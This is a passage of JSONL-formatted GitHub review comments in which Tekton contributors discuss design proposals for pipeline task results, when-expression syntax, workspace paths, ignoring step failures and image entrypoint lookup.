\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\r\n \u2502 results \u2502 results \u2502\r\n \u2502 \u2502 \u2502\r\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\r\n \u2502\r\n \u250c\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2510\r\n \u2502 \u2502\r\n \u2502 results \u2502\r\n \u2502 \u2502\r\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\r\n```", "comment_id": 588711995, "created_at": "2021-03-05T21:20:00Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "ah interesting - so you want to use the result of one of those two build tasks in the last task? it does sound like this proposal should help with the consolidation task (im wondering if being able to make sub pipelines might help you too - but i think you'd still need the consolidation task + @jerop )- i think we've also had feature requests for better support for the specific scenario you're describing as well (e.g. choose which of several tasks to run vs. just gating them) but we've never pursued it", "comment_id": 590457946, "created_at": "2021-03-09T15:14:13Z", "line": null, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "hmm interesting - in TEP-0059 we were assuming that the user would WANT to skip the manual approval entirely - including the notification. for example, if this was running against a pull request, would you want to send a slack notification every time the PR is updated? maybe but probably not (which is what i understand to be the premise of the use case in TEP-59)\r\n\r\nmaybe we can tweak the example a bit to make it work here - in this case, where we're running the pipeline on a PR, maybe we need to start a temporary cluster to deploy to? (since we don't want to deploy to prod)\r\n\r\n ```\r\n lint unit-tests\r\n | |\r\n v v\r\n report-linter-output integration-tests\r\n |\r\n v\r\n manual-approval\r\n | |\r\n v (approver)\r\n (if pull-request) build-image |\r\n set-up-cluster | v\r\n | | slack-msg\r\n v |\r\n (cluster ip, etc.). |\r\n | v\r\n --------------> deploy-image\r\n ```\r\n\r\nIn this example, when we run the pipeline for a pull request, we want to setup a cluster and pass the info about that cluster to deploy-image, but when we want to deploy to prod, we want to use params that are passed in with the prod cluster\r\n\r\n(this is a bit flawed b/c you probably need more than just the ip and a string result might not be the best way to pass that - but maybe we could imagine in a world with dict params + results this makes a bit more sense?)\r\n\r\nso we'd need to be able to express that when set-up-cluster is skipped, instead of trying to use it's results and skipping deploy-image (which depends on set-up-cluster), we use the params", "comment_id": 656270843, "created_at": "2021-06-22T14:21:26Z", "line": 87, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "(or we could remove it, the next 2 use cases have it covered!)", "comment_id": 656277490, "created_at": "2021-06-22T14:28:30Z", "line": 87, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "ScrapCodes", "body": "Is it correct to think, another possible use case can be, for resuming failed pipelines.\r\n\r\nThe tasks that ran fine can be somehow disabled (either with some future TEP or when expression), and their results pre-populated, while copying and creating a new Pipeline/PipelineRun in order to retry/resume.", "comment_id": 666887409, "created_at": "2021-07-09T11:43:24Z", "line": 283, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "that's an interesting use case for this @ScrapCodes \ud83e\udd14 \r\n\r\nmy feeling is that in the resuming a pipeline case, usually youd want to use the result value produced by the previous run, and not the default value - tho maybe sometimes you would?\r\n\r\nfor example, say you were trying to do a build + deploy:\r\n\r\n```yaml\r\nspec:\r\n tasks:\r\n - name: build-image\r\n taskRef:\r\n name: build-image\r\n results:\r\n - name: image-name\r\n - name: deploy-image\r\n params:\r\n - name: image-name\r\n value: \"$(tasks.build-image.results.image-name)\" # using the image that was built by build-image\r\n taskRef:\r\n name: deploy-image\r\n```\r\n\r\nMaybe `deploy-image` failed, and you want to run the pipeline again, but you don't want to have to build again, you probably want to use the value of ` tasks.build-image.results.image-name` from the previous run.\r\n\r\nIf you used the functionality proposed here, you'd be using some default value for the image-name instead of the value that was just built. For example, imagining a syntax for specifying a default to use:\r\n\r\n```yaml\r\nspec:\r\n tasks:\r\n - name: build-image\r\n taskRef:\r\n name: build-image\r\n results:\r\n - name: image-name\r\n - name: deploy-image\r\n params:\r\n - name: image-name\r\n value: \"$(tasks.build-image.results.image-name?my-website:v0.4.0)\"\r\n taskRef:\r\n name: deploy-image\r\n```\r\n\r\nLet's say this built an image `my-website:v0.7.0`, but `deploy-image` failed. If you wanted to re-run, i.e. partially run the pipeline with `build-image` disabled, I'm guessing you'd want to pass `my-website:v0.7.0` (the one you just built) and not use the default `my-website:v0.4.0`\r\n\r\nProbably there are cases for both tho!", "comment_id": 667173227, "created_at": "2021-07-09T19:40:04Z", "line": 283, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "jerop", "body": "this is interesting -- just wondering how it'd look like if the default was a variable \r\n\r\nwould it be `$(tasks.foo.results.bar?$(params.someDefault))` \ud83d\ude43 -- maybe `$(tasks.foo.results.bar?params.someDefault)` is better?\r\n\r\nbut then how would this look like if we add support for array results proposed in https://github.com/tektoncd/community/pull/477?\r\n\r\n(back to focusing on the problem statement only lol)", "comment_id": 677696507, "created_at": "2021-07-27T18:25:22Z", "line": 284, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "jerop", "body": "this is a useful use case, where the default results are variables that users would need to pass in as parameters ", "comment_id": 677700539, "created_at": "2021-07-27T18:31:08Z", "line": 87, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "pritidesai", "body": "Right, you have precisely captured a tweak [here](https://github.com/tektoncd/pipeline/pull/4085#discussion_r675893315) with the use case from TEP-0059.", "comment_id": 677717574, "created_at": "2021-07-27T18:56:17Z", "line": 87, "path": "teps/0048-task-results-without-results.md", "pr_number": 240, "repo": "community"} +{"author": "bobcatfish", "body": "kind of a bit but currently there is no way to express the workspace resource dependency - tho hopefully there will be one day https://github.com/tektoncd/pipeline/issues/3109 :D ", "comment_id": 516270541, "created_at": "2020-11-02T21:41:17Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 246, "repo": "community"} +{"author": "jerop", "body": "@bobcatfish good catch, updated it", "comment_id": 516273404, "created_at": "2020-11-02T21:47:07Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 246, "repo": "community"} +{"author": "afrittoli", "body": "I think it would be nice to spend a couple of more words about the meaning of `scope`, `Branch` and `Node`, before diving into validation issues? \r\nIt does not seem obvious how it would behave.", "comment_id": 522901520, "created_at": "2020-11-13T11:48:35Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 258, "repo": "community"} +{"author": "afrittoli", "body": "This is not 100% clear to me.\r\n\r\n![image](https://user-images.githubusercontent.com/2205608/99071880-e1ece980-25aa-11eb-8158-3cea0508cf30.png)\r\n\r\n\r\nI would expect:\r\n- branch is always possible\r\n- node is always possible if there are no tasks that depend on the guarded one\r\n- node is not possible if there is a task that depends on resources produced by the guarded one\r\n\r\nIs this correct?", "comment_id": 522916997, "created_at": "2020-11-13T12:22:49Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 258, "repo": "community"} +{"author": "jerop", "body": "added more details about the graph, node, branch -- please let me know what you think of the descriptions now :) ", "comment_id": 537944795, "created_at": "2020-12-08T00:44:12Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 258, "repo": "community"} +{"author": "jerop", "body": "yes, that is correct\r\n", "comment_id": 537945265, "created_at": "2020-12-08T00:45:14Z", "line": null, "path": "teps/0007-conditions-beta.md", "pr_number": 258, "repo": "community"} +{"author": null, "body": "I am interested to know a bit more about supporting both the existing array syntax and the new syntax. I couldn't think of an example where I'd seen this before. The only type like this in our code I'm aware of are our params, where the user can specify a `value` of either an array or a string. However supporting that type has also been a source of [one specific issue that we don't have a great fix for right now](https://github.com/tektoncd/pipeline/issues/3323).\r\n\r\nI'm not sure how important that specific issue is to the pipeline project but I thought I would flag it up. Wondering if there's another way to approach this kind of \"union\" type in our API without hitting that same problem.", "comment_id": 538572618, "created_at": "2020-12-08T16:33:04Z", "line": 339, "path": "teps/0007-conditions-beta.md", "pr_number": 258, "repo": "community"} +{"author": "jerop", "body": "thanks for bringing this up @sbwsg!\r\n\r\nyes, we'd support both syntaxes in a way that's similar to how we do it in `ArrayOrStrings` in `Params`\r\n\r\nbut while that is the \"permanent\" state in `Params`, it would be a temporary fix in `WhenExpressions` for 9 months only to give users enough time to migrate to the new syntax then we can stop supporting the old syntax\r\n\r\ni think temporarily supporting both syntaxes to give users a better experience transitioning outweighs the issue of temporarily confusing tools (also waiting for more details from the contributor to further gauge the severity), what do you think? ", "comment_id": 538633892, "created_at": "2020-12-08T17:28:03Z", "line": 339, "path": "teps/0007-conditions-beta.md", "pr_number": 258, "repo": "community"} +{"author": null, "body": "Ah, good point, I hadn't factored in that this will be a temporary bridge from one to the other. Makes sense!", "comment_id": 538641081, "created_at": "2020-12-08T17:34:32Z", "line": 339, "path": "teps/0007-conditions-beta.md", "pr_number": 258, "repo": "community"} +{"author": "pritidesai", "body": "Are we saying users who migrated to when expressions with `0.16` (old syntax) will not be benefited with this feature? To make use of this feature, users will have to migrate to this new syntax \ud83e\udd14 I feel we had promised `continueAfterSkip` with the old syntax and now proposing `continueAfterSkip` only possible with new syntax? wdyt?", "comment_id": 539726687, "created_at": "2020-12-09T23:31:19Z", "line": 339, "path": "teps/0007-conditions-beta.md", "pr_number": 258, "repo": "community"} +{"author": "pritidesai", "body": "I understand `Node` as `self`, when expressions is limited to that particular pipelineTask/node where it's defined. And `Branch` includes all dependencies i.e. all dependencies are impacted (skipped) by the when expressions of a parent task.", "comment_id": 539745870, "created_at": "2020-12-10T00:15:34Z", "line": 333, "path": "teps/0007-conditions-beta.md", "pr_number": 258, "repo": "community"} +{"author": "afrittoli", "body": "+1\r\nI think an extra benefit is that this allows adding some task path support when using tasks that do not yet use paths", "comment_id": 536008706, "created_at": "2020-12-04T10:48:03Z", "line": 363, "path": "teps/0030-workspace-paths.md", "pr_number": 285, "repo": "community"} +{"author": "afrittoli", "body": "I don't dislike this option, because it open the doors for paths not being satisfied by a workspace necessarily... but I still like the main proposal better. \r\nIn combination with some form of pre-step injection it would work great, i.e. in case of a git repo, we could have multiple versions of steps that satisfy the declared paths in different ways, e.g. by clone a repo but also by extracting a tarball of sources or else. In case of a TaskRun the workspace could be a local `emptyDir` making it possible to benefit from paths already at TaskRun level.", "comment_id": 536014178, "created_at": "2020-12-04T10:56:39Z", "line": 458, "path": "teps/0030-workspace-paths.md", "pr_number": 285, "repo": "community"} +{"author": null, "body": "Excellent point, I've mentioned this as an additional benefit. Thank you!", "comment_id": 536192237, "created_at": "2020-12-04T15:45:19Z", "line": 363, "path": "teps/0030-workspace-paths.md", "pr_number": 285, "repo": "community"} +{"author": null, "body": "I've added this as an additional Pro in the list.", "comment_id": 536196860, "created_at": "2020-12-04T15:51:39Z", "line": 458, "path": "teps/0030-workspace-paths.md", "pr_number": 285, "repo": "community"} +{"author": "bobcatfish", "body": "I think this might also be covering https://github.com/tektoncd/pipeline/issues/1559 ?", "comment_id": 555321712, "created_at": "2021-01-11T20:35:55Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "Can you go into more detail with the use cases?", "comment_id": 555322868, "created_at": "2021-01-11T20:38:15Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "can you provide some examples of images that cannot be used today? or what it would look like to try to use them?", "comment_id": 555322889, "created_at": "2021-01-11T20:38:17Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "im a bit confused about whether this problem exists at the pipeline level or at the step level, is it possible to dig into it a bit more?", "comment_id": 555322913, "created_at": "2021-01-11T20:38:19Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "Is the main issue with these off-the-shelf images that they sometimes don't have a shell? this was the motivation for TEP-0011 as well\r\n\r\n(if the images have a shell, you can write your own script to do whatever you want with the exit code)", "comment_id": 556114689, "created_at": "2021-01-12T21:43:25Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "afrittoli", "body": "One example could be the nightly release pipeline. As part of the release pipeline we might want to run a security scan, unit tests and other checks. None of this checks should stop the release pipeline from executing, however we want to run the tests so that we keep a track of which failures we saw against which version.\r\n\r\nThis can be sometime achieved by wrapping the step that runs the tests with a script, but in other cases it would require to create a new container image that contains a shell. In cases where wrapping with a script is possible, it may still be undesirable.\r\n\r\nThis use case is strengthened by the case of users migrating to Tekton. They may have scripts / steps from their previous CI system where it was possible to ignore a failure, and they would have to modify them and/or wrap them to trap the exit code.", "comment_id": 556652554, "created_at": "2021-01-13T16:19:33Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "afrittoli", "body": "Yes, indeed, the most difficult case is that of images that do not include a shell.\r\nThe wrapping script feels to me like a workaround though, I think it would be a nicer user experience if we allowed natively to trap the exit code.", "comment_id": 556655420, "created_at": "2021-01-13T16:23:26Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "afrittoli", "body": "The failure originates in a step and propagates to the entire pipeline. \r\nIn terms of granularity, the proposal of this TEP is to trap the exit code for specific steps.", "comment_id": 556658147, "created_at": "2021-01-13T16:26:59Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "This title feels to me like it jumps to an implementation but doesn't capture what's really motivating this.\r\n\r\nSome ideas for alternative names: (sorry they are so wordy XD)\r\n- Support mulitstep Tasks when some steps have no shell\r\n- Allow Tasks to continue to act after the failure of a step\r\n- Allow steps to fail without failing or halting Tasks", "comment_id": 562174423, "created_at": "2021-01-21T20:25:14Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "From our discussion the other day: the nightly release pipeline example is kind of different b/c that's about allowing an individual _Task_ to fail; this proposal is about allowing steps within Tasks to fail. If we wanted to apply this proposal to our nightly release pipeline for example, [we'd have to modify the `golang-test` task](https://github.com/tektoncd/pipeline/blob/5003ca28631e0deaadf72d1974ea1323db22d0d0/tekton/release-pipeline-nightly.yaml#L42-L51)\r\n", "comment_id": 562175940, "created_at": "2021-01-21T20:27:48Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "Another detail we could include in the TEP: many projects have to create \"debug\" versions of their images to support users that want shells; in CD automation especially there are so many scenarios where you do need shells that often folks end up just having to always use the debug version\r\n\r\n> The wrapping script feels to me like a workaround though\r\n\r\ncould you explain a bit more? It feels to me like being able to run a script that runs the command that needs to be run gives the user the most flexibility, e.g. they can grab the exit code, they can grab stdout + stderr, they can do simple processing like grep and awk, etc.", "comment_id": 562190149, "created_at": "2021-01-21T20:53:42Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "We could add a requirements section as well, e.g.:\r\n\r\n## Requirements\r\n* Users should be able to use prebuilt images as-is without having to do one or more of the following (see also [TEP-0011](https://github.com/tektoncd/community/blob/master/teps/0011-redirecting-step-output-streams.md):\r\n * Investigating how they are built to understand if they contain a shell and possibly overriding the entrypoint\r\n * Build and maintain their own images (i.e. add in required shell or other binaries) from those images\r\n* It should be possible to know that a step was allowed to fail by observing the status of the TaskRun (and PipelineRun if applicable) (e.g. to show a \"warning\" / display as \"yellow\" status in a UI)\r\n* When a step is allowed to fail, the exit code of the process that failed should not be lost and should at a minimum be available in the status of the TaskRun (and PipelineRun if applicable)\r\n* When a step is allowed to fail, the Task should not be marked as failed. <-- im a bit unsure about this one @afrittoli - if we want to do this, I think we _need_ to make it possible for other steps to know that this happened and determine if the overall status should be failed, what do you think? (e.g. in the case of uploading test results, you want to keep running steps so you can do the upload, but still the overall Task has failed)", "comment_id": 562191231, "created_at": "2021-01-21T20:55:50Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "Some more potential use cases based on our conversation:\r\n\r\n* Migrating scripts and automation from a CI/CD system that allowed image failures to Tekton\r\n\r\nExpanding on the unit tests use case below:\r\n\r\n* A [platform team](https://github.com/tektoncd/community/blob/master/user-profiles.md#1-pipeline-and-task-authors) wants to provide a Task to their team which does all of the following in one:\r\n * Runs unit tests (which may fail)\r\n * Applies a mutation to the test results (e.g. converts them to a certain format such as junit)\r\n * Uploads the results to a central location used by all the teams\r\n ", "comment_id": 562191268, "created_at": "2021-01-21T20:55:53Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "pritidesai", "body": "yup I agree, I think \"Allow steps to fail without failing Tasks\" fits well as the biggest motivation here is to continue executing subsequent steps and preventing the task from failing.", "comment_id": 562872336, "created_at": "2021-01-22T19:53:44Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "afrittoli", "body": "Indeed, even though the approach there is slightly different. The focus on that one is to let a step run even though there was a previous failure. Here is on letting the potentially failing step declare that the failure should be captured, so other steps don't need to be aware about the failure at all.", "comment_id": 563845283, "created_at": "2021-01-25T16:10:13Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "afrittoli", "body": "Having to modify a `Task` is the main downside of this approach, we should capture it in the TEP.\r\nThe use case I'm facing is to migrate users to Tekton, they already have tasks written, and they need to be moved to Tekton, so it is not an issue in this case.\r\n\r\nA possible workaround for existing Tasks, they could expose the capture flag through a task parameter, to allow the Task to use in both modes, with and without capture.", "comment_id": 563847908, "created_at": "2021-01-25T16:13:45Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "afrittoli", "body": "Container images are not necessarily written with a wrapping script in mind. \r\nIf an image sets an entrypoint, it is usually the recommended way to use the image. To write a script that wraps the container, we need to inspect the container image, find out what the entry point is, and run the command in our script the same way the entry point would have, which is not something we should ask Task author to be doing. If the entrypoint changes, the task will have to be updated too.\r\n\r\nWe could have a mechanism that fetches the entrypoint from the docker image automatically and runs it... oh, wait, we already do, it's Tekton's entrypoint. This TEP proposes to add a flag in the entrypoint to capture the exit code - I don't think we should do this instead in a shell script that will be executed by entrypoint.", "comment_id": 563857039, "created_at": "2021-01-25T16:25:32Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "\"treat a step as passing regardless of whether it fails or succeeds\" - @skaegi \r\n\"ignore the failure of a step\" - @ImJasonH ", "comment_id": 563892541, "created_at": "2021-01-25T17:11:16Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "@skaegi use case:\r\n\r\n- pre step\r\n- user writes whatever they want in test step\r\n- must be in junit (returns exit code of 1 if tests fail)\r\n- post step that uploads results\r\n- task needs to indicate that the step failed/warn (@skaegi specifically wants the task to succeed, other users might want failure)\r\n\r\nsome details:\r\n- have tried injecting shell, but its started to get weird\r\n- increasingly using tekton as byte code", "comment_id": 563896725, "created_at": "2021-01-25T17:15:49Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "I feel like we have two separate scenarios, maybe we want to handle both, but I'm not convinced both apply to the use cases we're discussing:\r\n\r\n1. I want to stop the failure of a Task in a Pipeline from stopping the execution of a Pipeline (and maybe stop it from failing as well)\r\n2. I want to stop the failure of a step in a Task from failing the Task\r\n\r\n> The failure originates in a step and propagates to the entire pipeline.\r\n\r\nRight, there is a relationship between the two - you could potentially use (2) to give you (1) as well, but (2) doesn't let you have any control over this at the pipeline level, it has to be baked into the Task. I'd argue that to truly satisfy (1) we'd want that control at the pipeline level", "comment_id": 566123292, "created_at": "2021-01-28T14:11:57Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "kk - maybe we can discuss this more when we start looking at possible designs", "comment_id": 566124447, "created_at": "2021-01-28T14:13:34Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "bumping this", "comment_id": 566126270, "created_at": "2021-01-28T14:15:54Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "skaegi", "body": "I think we might eventually want support for ignoring both \"step\" and \"task\" failure. ", "comment_id": 567471382, "created_at": "2021-01-31T19:23:21Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "skaegi", "body": "\"we'd have to modify the golang-test task\" ... wow I somehow hadn't considered that. All of our legacy cases are with teams providing an \"image\" that when run might \"fail\", but in Tekton where we're promoting a Task Catalog teams might provide a Task that we should equivalently let a Pipeline decide if it should fail. I think maybe we should consider support ignoring Task failure in this TEP or at least immediately create another TEP to look at adding support.", "comment_id": 567472279, "created_at": "2021-01-31T19:30:16Z", "line": null, "path": "teps/0040-capture-step-exit-code.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "thanks for the detailed overview!", "comment_id": 571045556, "created_at": "2021-02-05T15:24:13Z", "line": 97, "path": "teps/0040-ignore-step-errors.md", "pr_number": 302, "repo": "community"} +{"author": "bobcatfish", "body": "I'd also like to include a requirement that other steps within the Task can access this information, I believe @afrittoli disagrees - I'm hoping we can include this as a requirement but also could deliver the feature incrementally such that the initial implementation doesn't need to support this.\r\n\r\nI feel strongly that we haven't sufficiently addressed the use cases and problem statement without it", "comment_id": 571048299, "created_at": "2021-02-05T15:27:42Z", "line": 131, "path": "teps/0040-ignore-step-errors.md", "pr_number": 302, "repo": "community"} +{"author": "pritidesai", "body": "I have added that (other steps within the task can access the process exit code) in the requirements. @afrittoli please let me know if you still disagree or have any other ideas.", "comment_id": 571199392, "created_at": "2021-02-05T19:26:17Z", "line": 131, "path": "teps/0040-ignore-step-errors.md", "pr_number": 302, "repo": "community"} +{"author": "wlynch", "body": "Not immediately relevant for this proposal, but FWIW I think some of this behavior is buggy. I think this should fail for any spec that doesn't reference an image digest and doesn't specify the command - part of what the entrypoint looking wants to do is guarantee here is a consistent image for all steps in a pod.", "comment_id": 566263233, "created_at": "2021-01-28T17:11:13Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "wlynch", "body": "This also raises an interesting question of whether or not we want/need similar image consistency at the PipelineRun level \ud83e\udd14 \r\n\r\nI don't believe we try and do this today, but theoretically images could modify between pods.", "comment_id": 566264595, "created_at": "2021-01-28T17:13:13Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "wlynch", "body": "Part of what the image metadata lookup does is resolve images to their SHA digests, which seems useful for auditing. We should figure out how we can retain this information / bubble it back up to the controller.", "comment_id": 566272035, "created_at": "2021-01-28T17:23:54Z", "line": 110, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "wlynch", "body": "Could you go into more detail on how the image resolution cache would function when running on the pod (particularly how data would be shared between entrypoint invocations?)", "comment_id": 566277066, "created_at": "2021-01-28T17:31:04Z", "line": 140, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "wlynch", "body": "To play devil's advocate here - poking at the code it looks like `go-containerregistry` only looks at [`imagePullSecrets`](https://github.com/google/go-containerregistry/blob/c95d7bdd6359dab9cbf575fae14e3389e3efa84e/pkg/authn/k8schain/k8schain.go#L71-L91) before defaulting to [anonymous fetching](https://github.com/google/go-containerregistry/blob/c95d7bdd6359dab9cbf575fae14e3389e3efa84e/pkg/authn/k8schain/k8schain.go#L171) (this is where any provider specific identity tied to the SA would come into play).\r\n\r\nWould we be able to provide an [`authn.Keychain`](https://pkg.go.dev/github.com/google/go-containerregistry@v0.3.0/pkg/authn#Keychain) that would replicate the behavior we want? (and what extra permissions would be needed if any?)", "comment_id": 566292839, "created_at": "2021-01-28T17:53:38Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "bobcatfish", "body": "I'm wondering if this could possibly be a documentation problem - it should be possible to configure the controller to pull from a private registry\r\n\r\nIt looks like the docs on how to do this got lost over here: https://github.com/tektoncd/pipeline/blob/master/docs/container-contract.md#container-contract (and probably should be over in https://github.com/tektoncd/pipeline/blob/master/docs/install.md instead \ud83d\ude2c )", "comment_id": 567079841, "created_at": "2021-01-29T20:35:53Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "bobcatfish", "body": "can you elaborate on this authentication problem a bit?", "comment_id": 567079995, "created_at": "2021-01-29T20:36:15Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "yaoxiaoqi", "body": "To implement cache for steps in the same pod, I plan to serialize the image and store it in the shared volume. One image will be serialized into one file. The filename is the image reference (whether the tag or the digest). When looking up the image entrypoint, we use the image reference to check if the file exists. if it does, grab it from the shared volume. Otherwise, fetch it from the remote registry.\r\n", "comment_id": 569399639, "created_at": "2021-02-03T13:10:19Z", "line": 140, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "yaoxiaoqi", "body": "For the cache beyond the same pod, I could only think up a way that we need to bubble the whole image back to the controller and request the controller in every steps' container. But this way involves network communication between different pods. I'm not sure whether things would get faster if we introduced this. There is a big chance that consulting the remote registry directly costs less time compared to this kind of cache.", "comment_id": 569405737, "created_at": "2021-02-03T13:19:38Z", "line": 140, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "yaoxiaoqi", "body": "Yes, pulling images from a private registry is not a problem. Things go wrong when you're trying to pull from a private registry and do not specify the command for the image in the `Steps`. The Tekton controller needs to look up the image entrypoint to know what command to execute. But it can't fetch the image and encounters permission denied error. It happens for any spec that doesn't reference an image digest and doesn't specify the command. I will dig into this bug and update the tep with more details.", "comment_id": 569414179, "created_at": "2021-02-03T13:31:59Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "vdemeester", "body": "So, as far as I remember, when doing the lookup, the pipeline controller *does* use/refer to the `ServiceAccount` the PipelineRun is ran with (I also thought it wolud look at imagePullSecret but I ain't sure though\u2026). But yeah, the problem is mainly if the image is private and none of the SA provided (to the controller or the pipelinerun/taskrun) have the correct credentials to authenticate with the registry.", "comment_id": 569648144, "created_at": "2021-02-03T18:29:48Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "vdemeester", "body": "\u2026 looking at @wlynch 's comment, it might be the opposite..\r\nAny way, I also wonder if it's more a documentation problem than anything else.", "comment_id": 569648996, "created_at": "2021-02-03T18:31:11Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "vdemeester", "body": "cc @mattmoor ", "comment_id": 569649094, "created_at": "2021-02-03T18:31:22Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "vdemeester", "body": "Any way to reuse the `cache` part of `knative` (aka have an implementation of it) \u2014 I am fuzzy on the subject but felt it was worth mentionning.", "comment_id": 569650440, "created_at": "2021-02-03T18:33:45Z", "line": 140, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "vdemeester", "body": "@wlynch indeed. I don't think we currently are using the image by-digest in the pod we create, which means images could be different between pods (in some cases). knative does this (using the image by-digest in the resulting pod) but we don't.", "comment_id": 569656433, "created_at": "2021-02-03T18:43:06Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "bobcatfish", "body": "> Yes, pulling images from a private registry is not a problem. Things go wrong when you're trying to pull from a private registry and do not specify the command for the image in the Steps.\r\n\r\nI should have been more specific @yaoxiaoqi , echoing what @vdemeester says and looking at the docs at https://github.com/tektoncd/pipeline/blob/master/docs/container-contract.md#container-contract I think that we DO support the scenario you are describing today:\r\n\r\n![image](https://user-images.githubusercontent.com/432502/106931372-84b58f80-66e4-11eb-97c0-5713dc793044.png)\r\n", "comment_id": 570409741, "created_at": "2021-02-04T17:28:56Z", "line": null, "path": "teps/0041-move-image-entrypoint-lookup-to-the-taskrun-pod.md", "pr_number": 310, "repo": "community"} +{"author": "wlynch", "body": "> I think 